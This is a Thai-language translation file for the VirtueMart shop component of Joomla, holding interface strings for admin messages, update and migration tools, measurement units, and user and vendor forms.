COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="คีย์หลัก %1$s เกิดการสูญหาย! ไม่สามารถบันทึกข้อมูลโดยไม่มี %1$s ได้" COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="ฟังก์ชั่น %s ไม่สามารถใช้งานได้กับผู้ที่ไม่ได้เป็นผู้ขาย" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="ฟังก์ชั่น %s สงวนไว้สำหรับผู้ดูแลระบบเท่านั้น" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s ถูกเลื่อนลงเรียบร้อยแล้ว" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s ถูกเลื่อนขึ้นเรียบร้อยแล้ว" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="พบข้อผิดพลาด: %s ไม่สามารถเผยแพร่ได้" COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s ถูกเผยแพร่เรียบร้อยแล้ว" COM_VIRTUEMART_STRING_SAVED="%s ถูกบันทึกเรียบร้อยแล้ว" COM_VIRTUEMART_STRING_SAVED_ERROR="พบข้อผิดพลาด: %s ไม่สามารถบันทึกข้อมูลได้" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s ถูกบันทึกข้อมูลเรียบร้อยแล้ว" COM_VIRTUEMART_STRING_TOGGLE_ERROR="พบข้อผิดพลาด: ไม่สามารถอัพเดทข้อมูลรัฐ %s รัฐได้" COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s รัฐได้รับการอัพเดทข้อมูลเรียบร้อยแล้ว" COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="พบข้อผิดพลาด: %s ไม่สามารถระงับการเผยแพร่ได้" COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s ถูกระงับการเผยแพร่เรียบร้อยแล้ว" COM_VIRTUEMART_SYNC_MEDIA_FILES="เชื่อมข้อมูลไฟล์มีเดียกับ VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="การกระทำดังกล่าวไม่สามารถดำเนินการได้. กรุณาตรวจสอบ %1$s ก่อน แล้วจึงกลับมาที่ส่วนนี้อีกครั้ง." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="เพื่อการใช้งานเครื่องมือเหล่านี้อย่างเต็มประสิทธิภาพ, กรุณาตรวจสอบ '%1$s' ที่อยู่ในส่วนของ แผงควบคุมการกำหนดค่า." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="การกำหนดค่า '%1$s' ถูกเปิดการใช้งานอยู่. กรุณาปิดการใช้งานส่วนนี้เพื่อเป็นมาตรการรักษาความปลอดภัยได้ที่ แผงควบคุมการกำหนดค่า." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="ค่าเริ่มต้นของระบบได้รับการเรียกคืนค่าแล้ว!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="ข้อมูล VirtueMart ถูกลบออกแล้ว" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="ตาราง VirtueMart ถูกลบออกแล้ว" COM_VIRTUEMART_TAX_EFFECTING="ผลกระทบจากภาษี: " COM_VIRTUEMART_TEMPLATE_DEFAULT="เทมเพลทเริ่มต้น" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="คุณลักษณะของ Textarea" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="คุณลักษณะของ Textfield" COM_VIRTUEMART_THANK_MESSAGE="ขอขอบคุณสำหรับการติดต่อเพื่อสอบถามข้อมูลของคุณ เราจะติดต่อกลับไปหาคุณในเร็วๆนี้" COM_VIRTUEMART_THRD_PARTY_CONTACT="ติดต่อผู้พัฒนา %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="คู่มือสำหรับ %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="ไม่พบรูปขนาดย่อ" COM_VIRTUEMART_TIME="เวลา" COM_VIRTUEMART_TITLE="ชื่อ" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="ชื่อที่ใช้ในช่องข้อมูลมีการใช้ตัวอักษรที่ไม่ถูกต้อง" COM_VIRTUEMART_TOGGLE_ADMIN="เปิดส่วนของผู้ดูแล" COM_VIRTUEMART_TOGGLE_HIDDEN="ซ๋อน" COM_VIRTUEMART_TOOLS_MOD="เครื่องมือ" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="ใช้การกำหนดค่าใหม่จากไฟล์" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="ลบการกำหนดค่าที่จัดเก็บไว้ในฐานข้อมูล, แล้วโหลดค่าเริ่มต้นจากไฟล์และชุดในช่วงเวลาที่เข้าใช้งาน?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

            ค่าที่กำหนดไว้ได้ถูกเปลี่ยนค่าไปเป็นการใช้ค่ากำหนดจากไฟล์ /administrator/components/com_virtuemart/virtuemart.cfg

            " COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="เชื่อมข้อมูลกับ
            ผู้ใช้งานใน Joomla" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="อัพโหลดไฟล์มีเดียของคุณไปไว้ที่ตำแหน่งพาธ:
            ที่อยู่ URL สินค้าที่เป็นไฟล์มีเดีย: %s
            ที่อยู่ URL หมวดหมู่สินค้าที่เป็นไฟล์มีเดียl: %s
            ที่อยู่ URL ชื่อผู้ผลิตสินค้าที่เป็นไฟล์มีเดีย: %s

            คุณสามารถเปลี่ยนแปลงแก้ไขที่อยู่ urls เหล่านี้ได้ในส่วนของการตั้งค่า.

            " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="เชื่อมข้อมูลไฟล์มีเดียไปที่ VirtueMart" COM_VIRTUEMART_TOTAL="รวมทั้งหมด" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="เพื่อกำหนดหมวดหมู่ต้นทาง" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="เพื่อกำหนดมุมมองของหมวดหมู่ต้นทาง" COM_VIRTUEMART_TO_SET_PRODUCT="เพื่อกำหนดสินค้า" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="เพื่อกำหนดมุมมองสินค้า" COM_VIRTUEMART_TYPE="ชนิด" COM_VIRTUEMART_TYPES="ชนิด" COM_VIRTUEMART_UNCATEGORIZED="--ไม่มีหมวดหมู่---" COM_VIRTUEMART_UNINSTALL_NOTE="หมายเหตุในการถอนการติดตั้ง:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="การถอนการติดตั้ง VirtueMart ไม่ได้เป็นการลบตารางฐานข้อมูลของ VirtueMart ออกจากฐานข้อมูลของคุณ การดำเนินการดังกล่าวนี้เป็นการอนุญาตให้คุณสามารถอัพเกรดข้อมูล ณ ปัจจุบันของคุณเข้าไปไว้ใน VirtueMart รุ่นใหม่ได้
            หากต้องการลบตารางฐานข้อมูลของ VirtueMart ออก, ให้ลบตารางในฐานข้อมูลที่มีคำนำหน้าชื่อว่า _virtuemart_prefix ออก." COM_VIRTUEMART_UNINSTALL_THANKYOU="ขอบคุณที่เลือกใช้ VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 มิลลิกรัม" COM_VIRTUEMART_UNIT_NAME_100ML="100 มิลลิลิตร" COM_VIRTUEMART_UNIT_NAME_CM="เซ็นติเมตร" COM_VIRTUEMART_UNIT_NAME_CUBM="ลูกบาศ์กเมตร" COM_VIRTUEMART_UNIT_NAME_FOOT="ฟุต" COM_VIRTUEMART_UNIT_NAME_G="กรัม" COM_VIRTUEMART_UNIT_NAME_INCH="นิ้ว" COM_VIRTUEMART_UNIT_NAME_KG="กิโลกรัม" COM_VIRTUEMART_UNIT_NAME_L="ลิตร" COM_VIRTUEMART_UNIT_NAME_LB="ปอนด์" COM_VIRTUEMART_UNIT_NAME_M="เมตร" COM_VIRTUEMART_UNIT_NAME_MG="มิลลิกรัม" COM_VIRTUEMART_UNIT_NAME_MM="มิลลิเมตร" COM_VIRTUEMART_UNIT_NAME_ONCE="ออนซ์" COM_VIRTUEMART_UNIT_NAME_SM="ตารางเมตร" COM_VIRTUEMART_UNIT_NAME_YARD="หลา" COM_VIRTUEMART_UNIT_SYMBOL_100MG="100 มก." COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 มล." COM_VIRTUEMART_UNIT_SYMBOL_CM="ซ.ม." COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ฟุต" COM_VIRTUEMART_UNIT_SYMBOL_G="กรัม" COM_VIRTUEMART_UNIT_SYMBOL_INCH="นิ้ว" COM_VIRTUEMART_UNIT_SYMBOL_KG="ก.ก." COM_VIRTUEMART_UNIT_SYMBOL_L="ลิตร" COM_VIRTUEMART_UNIT_SYMBOL_LB="ปอนด์" COM_VIRTUEMART_UNIT_SYMBOL_M="ม." COM_VIRTUEMART_UNIT_SYMBOL_MG="มก." COM_VIRTUEMART_UNIT_SYMBOL_MM="ม.ม." COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="ออนซ์" COM_VIRTUEMART_UNIT_SYMBOL_SM="ตร.ม." COM_VIRTUEMART_UNIT_SYMBOL_YARD="หลา" COM_VIRTUEMART_UNPUBLISH="ระงับการเผยแพร่" COM_VIRTUEMART_UNPUBLISHED="ระงับการเผยแพร่แล้ว" COM_VIRTUEMART_UNPUBLISH_ITEM="ระงับการเผยแพร่ไอเท็ม" COM_VIRTUEMART_UNWRITABLE="ไม่สามารถเขียนทับได้" COM_VIRTUEMART_UPDATE="อัพเดด" COM_VIRTUEMART_UPDATEDATABASE="ติดตั้ง ตารางข้อมูล
            หรือถ้าจำเป็น
            อัพเดด ตาราง" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="ติดตั้ง/อัพเดท ตาราง?" COM_VIRTUEMART_UPDATE_ALL="ทุกอย่าง" COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="ตรวจสอบเดี๋ยวนี้!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="ดาวน์โหลดไฟล์อัพเดท" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="VirtueMart เวอร์ชั่นล่าสุด" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="VirtueMart รุ่นที่ติดตั้งอยู่" COM_VIRTUEMART_UPDATE_GENERAL="ทั่วไป" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="จะเป็นการติดตั้งข้อมูลตัวอย่างของ VirtueMart. คุณแน่ใจหรือไม่?" COM_VIRTUEMART_UPDATE_MIGRATION="การอัพเดท & การโอนถ่ายข้อมูล" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="การตั้งค่าเซิร์ฟเวอร์เกี่ยวกับเวลามากสุดที่ใช้ในการประมวลผลคำสั่ง" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="จำนวนหน่วยความจำที่จำกัดไว้ของเซิร์ฟเวอร์" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="เลือกงานที่ต้องการทำสำหรับการโอนถ่ายข้อมูล" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="เริ่มโอนถ่ายข้อมูล %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="การโอนถ่ายข้อมูลจาก VirtueMart 1.1.x ไปยัง VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

            คำเตือน

            กรุณาใช้เครื่องมือเหล่านี้เฉพาะในกรณีที่คุณมีความเข้าใจในสิ่งที่คุณกำลังจะดำเนินการเป็นอย่างดี เครื่องมือดังกล่าวอาจทำลายระบบโดยรวมทั้่งหมด แนะนำให้ใช้งานเครื่องมือนี้เฉพาะผู้ที่เป็นนักพัฒนาเท่านั้น
            ยกเว้นในกรณีการลบข้อมูลทั้งหมดเกิดจากความต้องการถอนการติดตั้งร้านค้าและต้องการลบข้อมูลที่อยู่ในฐานข้อมูลทั้งหมดออก กรุณาใช้งานด้วยความระมัดระวัง เมื่อใช้งานกับร้านค้าที่เปิดให้บริการอยู่ กรุณาส่งออกข้อมูลจากฐานข้อมูลของคุณก่อนเพื่อความปลอดภัย" COM_VIRTUEMART_UPDATE_NONEWVERSION="คุณกำลังใช้งาน Virtuemart รุ่นล่าสุด" COM_VIRTUEMART_UPDATE_ORDERS="ใบสั่งซื้อ" COM_VIRTUEMART_UPDATE_PATCH_APPLY="นำไฟล์เสริมไปใช้งานเดี๋ยวนี้" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="ข้าพเจ้าได้อ่าน คำเตือน และแน่ใจแล้วว่าต้องการนำไฟล์ชุดเสริม หรือ Patch Package ไปใช้งานในการติดตั้ง VirtueMart เดี๋ยวนี้." COM_VIRTUEMART_UPDATE_PATCH_DATE="วันที่วางตลาด" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="คำอธิบาย" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="รายละเอียดไฟล์อัพเดท" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="ไฟล์หรือไดเร็กทอรี่ที่จำเป็นต้องมีการอัพเดทข้อมูล ไม่ใช่ไฟล์หรือไดเร็กทอรี่ที่สามารถเขียนทับข้อมูลลงไปได้ทั้งหมด กรุณากำหนดค่าสิทธิ์การเข้าใช้งานให้ถูกต้องก่อน" COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="ไฟล์ที่มีการปรับปรุง" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="กรุณาทำเครื่องหมายในช่องกาตัวเลือกก่อนใช้งานไฟล์เสริมหรือ Patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="ชุดข้อความที่ต้องการใช้เพื่อประมวลคำสั่งในฐานข้อมูล" COM_VIRTUEMART_UPDATE_PATCH_STATUS="สถานะ" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="ไฟล์/แฟ้มสารบัญ ไม่สามารถเขียนทับได้" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="สามารถเขียนทับได้" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="เชื่อมข้อมูลไฟล์มีเดียแล้ว %1$s ไฟล์สำหรับ %2$s ในไดเร็กทอรี่ %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="เชื่อมข้อมูลทั้งหมดเข้าด้วยกันแล้ว %1$s ไฟล์" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="การเชื่อมข้อมูลยังไม่เสร็จสิ้น, กรุณาประมวลคำสั่งใหม่อีกครั้ง" COM_VIRTUEMART_UPDATE_PRODUCTS="รายการ" COM_VIRTUEMART_UPDATE_REMOVEDATA="ลบ
            ข้อมูลใน VirtueMart ออก" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="ตัวเลือกนี้จะลบข้อมูลทั้งหมดของ VirtueMart ออก คุณแน่ใจแล้วหรือ?" COM_VIRTUEMART_UPDATE_REMOVETABLES="ลบ
            ตาราง VirtueMart ออก" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="ตัวเลือกนี้จะเป็นการลบตารางทั้งหมดของ VirtueMart และจะทำให้ไม่สามารถใช้งาน VirtueMart ได้. คุณแน่ใจแล้วหรือ?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" กลับไปใช้ค่าเดิมของ
            ค่าเริ่มต้นของระบบ" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="ตัวเลือกนี้จะเป็นการคืนค่าการตั้งค่าของคุณกลับไปเป็นค่าเริ่มต้นที่กำหนดไว้. คุณแน่ใจแล้วหรือ?" COM_VIRTUEMART_UPDATE_STATUS="อัพเดทสถานะคำสั่งซื้อ" COM_VIRTUEMART_UPDATE_TOOLS_TAB="เครื่องมือสำหรับ DB" COM_VIRTUEMART_UPDATE_USERS="ผู้ใช้" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="อัพเดทตารางในฐานข้อมูลของปลั๊กอิน VM" COM_VIRTUEMART_UPDATE_WARNING_TEXT="การติดตั้งตัวอัพเดทสำหรับ VirtueMart ด้วยชุดแพ็คเกจเสริม อาจเป็นสาเหตุให้เกิดความเสียหายกับเว็บไซต์ของคุณได้ หากคุณได้ทำการปรับแต่งไฟล์บางตัวของคอมโพเนนท์ VirtueMart เอาไว้ กระบวนการเพิ่มชุดไฟล์เสริมเข้าไปในระบบจะเป็นการเขียนทับไฟล์ทั้งหมดตามรายการด้านล่างนี้ - กระบวนการดังกล่าวไม่ได้เป็นแค่การเปลี่ยนค่าต่างๆเพียงเล็กน้อยเท่านั้น (diff), แต่จะเป็นการแทนที่ไฟล์ที่มีอยู่แล้วด้วยไฟล์ใหม่ หากคุณมีการปรับแต่งไฟล์ของ VirtueMart ด้วยตัวคุณเองเอาไว้ การกระทำดังกล่าวอาจเป็นสาเหตุให้ไฟล์ที่มีการปรับปรุงไม่สอดคล้องกันกับไฟล์เดิม และการอ้างอิงฟังก์ชั่น/คลาส ต่างๆ เกิดการสูญหายได้" COM_VIRTUEMART_UPDATE_WARNING_TITLE="คำเตือนทั่วไป" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="การอัพเดท เสร็จเรียบร้อยแล้ว" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="ชื่อไฟล์ถูกใช้งานไปแล้ว" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="สวัสดีค่ะ %s, ขอขอบคุณที่ลงทะเบียนกับเราที่ %s. คุณสามารถเข้าสู่ระบบได้ที่ %s ด้วยชื่อผู้ใช้และรหัสผ่านที่คุณได้ลงทะเบียนไว้." COM_VIRTUEMART_USEND_MSG_ACTIVATE="สวัสดีค่ะคุณ %s, ขอขอบคุณที่ลงทะเบียนกับเราที่ %s. บัญชีของคุณได้ถูกสร้างขึ้นแล้ว แต่จำเป็นต้องได้รับการยืนยันการเปิดใช้งานก่อน จึงจะสามารถใช้งานได้ หากต้องการยืนยันการเปิดใช้งานบัญชีดังกล่าว กรุณาคลิกที่ลิงก์ด้านล่าง หรือคัดลอกลิงก์แล้วนำไปวางบนช่องที่อยู่ในโปรแกรมบราวเซอร์ของคุณ" COM_VIRTUEMART_USER="ผู้ซื้อ " COM_VIRTUEMART_USERFIELD="ช่องรับข้อมูลเกี่ยวกับผู้ซื้อ" COM_VIRTUEMART_USERFIELDS="ช่องรับข้อมูลเกี่ยวกับผู้ใช้งาน" COM_VIRTUEMART_USERFIELDS_ADDVALUE="เพิ่มค่าใหม่" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="ใช้ตารางด้านล่างเพื่อเพิ่มค่าใหม่" COM_VIRTUEMART_USERFIELDS_COLUMNS="คอลัมน์" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="คำอธิบาย, ข้อความแนะนำเกี่ยวกับช่องรับข้อมูล" COM_VIRTUEMART_USERFIELDS_FORM_LBL="ข้อมูลเพิ่มเติม" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext และ URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="กว้างสูงสุด" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="พารามิเตอร์พิเศษสำหรับปลั๊กอิน" COM_VIRTUEMART_USERFIELDS_READONLY="อ่านอย่างเดียว" COM_VIRTUEMART_USERFIELDS_ROWS="แถว" COM_VIRTUEMART_USERFIELDS_SIZE="ขนาดช่องรับข้อมูล" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL เท่านั้น" COM_VIRTUEMART_USERFIELD_DETAILS="รายละเอียดช่องรับข้อมูลเกี่ยวกับผู้ซื้อ" COM_VIRTUEMART_USERFIELD_S="ช่องรับข้อมูลเกี่ยวกับผู้ซื้อ" COM_VIRTUEMART_USERGROUPS_ADD="เพิ่ม / แก้ไข กลุ่มผู้ใช้งาน" COM_VIRTUEMART_USERGROUPS_LEVEL="ระดับของกลุ่มผู้ใช้งาน" COM_VIRTUEMART_USERGROUPS_LIST=" รายชื่อกลุ่มผู้ใช้งาน" COM_VIRTUEMART_USERGROUPS_LIST_NAME="ชื่อกลุ่มผู้ใช้" COM_VIRTUEMART_USERGROUP_DETAILS="รายละเอียดกลุ่มผู้ใช้" COM_VIRTUEMART_USERINFO_ID="รหัสข้อมูลผู้ใช้" COM_VIRTUEMART_USERNAME="ชื่อผู้ใช้" COM_VIRTUEMART_USERS="ผู้ใช้" COM_VIRTUEMART_USERS_SYNCRONIZED="เชื่อมข้อมูลผู้ใช้งานแล้ว" COM_VIRTUEMART_USER_DATA_STORED="จัดเก็บข้อมูลผู้ใช้งานแล้ว" COM_VIRTUEMART_USER_DELETE_ST="ลบที่อยู่" COM_VIRTUEMART_USER_DISPLAYED_NAME="ชื่อที่แสดง" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="แสดงหน้าแก้ไขที่อยู่ผู้ใช้งาน" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="แก้ไขที่อยู่ผู้ใช้งาน" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="คุณไม่สามารถลบผู้ใช้งานรายนี้ออกได้ เนื่องจากผู้ใช้งานรายดังกล่าวเป็นผู้ดูแลระบบขั้นสูงสุดของเว็บไซต์ของคุณ" COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="คุณไม่สามารถเปลี่ยนกลุ่มผู้ใช้งานรายนี้ได้ เนื่องจากผู้ใช้งานรายดังกล่าวมีสถานะเป็นผู้ดูแลระบบระดับสูงสุดเพียงรายเดียวของเว็บไซต์ของคุณ" COM_VIRTUEMART_USER_FORM_ADDRESS_1="ที่อยู่ 1" COM_VIRTUEMART_USER_FORM_ADDRESS_2="ที่อยู่ 2" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="ชื่อสำหรับที่อยู่" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="เพิ่มที่อยู่" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="ข้อมูลสำหรับจัดส่งใบเสร็จ" COM_VIRTUEMART_USER_FORM_BLOCKUSER="บล็อคผู้ใช้งาน" COM_VIRTUEMART_USER_FORM_CITY="เมือง" COM_VIRTUEMART_USER_FORM_COMPANY_NAME="ชื่อบริษัท" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="เปลี่ยนรายละเอียดข้อมูลการติดต่อ" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_FAX="โทรสาร" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="ชื่อ" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="ตำแหน่ง" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="โทรศัพท์" COM_VIRTUEMART_USER_FORM_COUNTRY="ประเทศ" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="หมายเลข / รหัส ผู้ซื้อ" COM_VIRTUEMART_USER_FORM_FAX="โทรสาร" COM_VIRTUEMART_USER_FORM_FIRST_NAME="ชื่อจริง" COM_VIRTUEMART_USER_FORM_GROUP="กลุ่ม" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="วันที่เข้าใช้ล่าสุด" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="ไม่เคยเข้าใช้" COM_VIRTUEMART_USER_FORM_LAST_NAME="นามสกุล" COM_VIRTUEMART_USER_FORM_LBL="ข้อมูลสมาชิก" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="ข้อมูลการติดต่อ" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="พารามิเตอร์" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="รายละเอียดสมาชิก" COM_VIRTUEMART_USER_FORM_MIDDLE_NAME="ชื่อ กลาง" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="กรุณากรองรายละเอียดในช่องรับข้อมูลที่จำเป็น!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="กรุณากรอกข้อมูลลงในช่องที่จำเป็นต้องกรอก, คุณสามารถดูได้ที่แท็บ %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="รหัสผ่านใหม่" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="ไม่มีรายละเอียดการติดต่อที่เชื่อมโยงกับผู้ใช้งานรายนี้" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="ดูที่ Components -> Contact -> Manage Contacts สำหรับรายละเอียดเพิ่มเติม." COM_VIRTUEMART_USER_FORM_PERMS="สิทธิ์อนุญาตใช้งาน" COM_VIRTUEMART_USER_FORM_PHONE2="มือถือ" COM_VIRTUEMART_USER_FORM_PHONE="โทรศัพท์" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="รับเมล์จากระบบ" COM_VIRTUEMART_USER_FORM_REGISTERDATE="วันที่ลงทะเบียน" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="ที่อยู่ในการจัดส่ง" COM_VIRTUEMART_USER_FORM_STATE="รัฐ / จังหวัด / ภูมิภาค" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="ข้อมูลทั่วไปของสมาชิก" COM_VIRTUEMART_USER_FORM_TITLE="คำนำหน้า" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="ยืนยันรหัสผ่าน" COM_VIRTUEMART_USER_FORM_ZIP="รหัสไปรษณีย์" COM_VIRTUEMART_USER_GROUP="กลุ่ม" COM_VIRTUEMART_USER_ID="รหัสผู้ใช้" COM_VIRTUEMART_USER_ISNOTVENDOR="ไม่ใช่ผู้ขาย" COM_VIRTUEMART_USER_ISVENDOR="เป็นผู้ขาย" COM_VIRTUEMART_USER_IS_VENDOR="ผู้ขาย?" COM_VIRTUEMART_USER_LIST_LBL="รายชื่อผู้ซื้อ" COM_VIRTUEMART_USER_NOSHIPPINGADDR="s." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="การลงทะเบียนผู้ใช้งานถูกปิดการใช้งานไว้ ฟังก์ชั่นดังกล่าวต้องได้รับการเปิดใช้งานไว้ หากต้องการดำเนินการต่อไป" COM_VIRTUEMART_USER_S="ผู้ซื้อ" COM_VIRTUEMART_USER_SAVED="บันทึกผู้ซื้อแล้ว" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="ผู้ใช้งาน %s มีข้อมูลในหน้าโปรไฟล์ที่ยังไม่เสร็จสมบูรณ์" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="แสดงข้อมูลบัญชีผู้ใช้งาน VirtueMart" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="ข้อมูลบัญชีผู้ใช้งาน VirtueMart" COM_VIRTUEMART_VALUE="ค่า" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="ค่าที่จำเป็นต้องกรอกสำหรับชนิดนี้" COM_VIRTUEMART_VENDOR="ผู้ขาย" COM_VIRTUEMART_VENDOR_DATA_STORED="จัดเก็บข้อมูลผู้ขายแล้ว" COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="เลือกผู้ขาย" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="เลือกผู้ขาย" COM_VIRTUEMART_VENDOR_FORM_FULL_IMAGE="รูปภาพขนาดใหญ่" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="ข้อมูลเกี่ยวกับผู้ขาย" COM_VIRTUEMART_VENDOR_FORM_THUMB_IMAGE="รูปขนาดย่อ" COM_VIRTUEMART_VENDOR_ID="ผู้ขาย" COM_VIRTUEMART_VENDOR_IMAGE="รูปภาพผู้ขาย" COM_VIRTUEMART_VENDOR_NAME="ชื่อผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="แสดงรายละเอียดเกี่ยวกับผู้ขายใน VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="แสดงรายละเอียดเกี่ยวกับผู้ขายใน VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="แสดงรายชื่อผู้ขายใน VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="แสดงรายชื่อผู้ขายใน VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="แสดงรายละเอียดเกี่ยวกับผู้ขายใน VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="แสดงรายละเอียดเกี่ยวกับผู้ขายใน VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="ดูรายละเอียดข้อตกลงการให้บริการของผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="ดูรายละเอียดข้อตกลงการให้บริการของผู้ขาย" COM_VIRTUEMART_VERSIONCHECK_TITLE="ตรวจสอบรุ่นของ VirtueMart" COM_VIRTUEMART_VIEW="เปิดดู" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="กำหนดรหัสเอง" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="รหัสสั่งซื้อ" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="รหัสสินค้า" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="สถานะ" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="รหัสข้อมูลผู้ใช้" 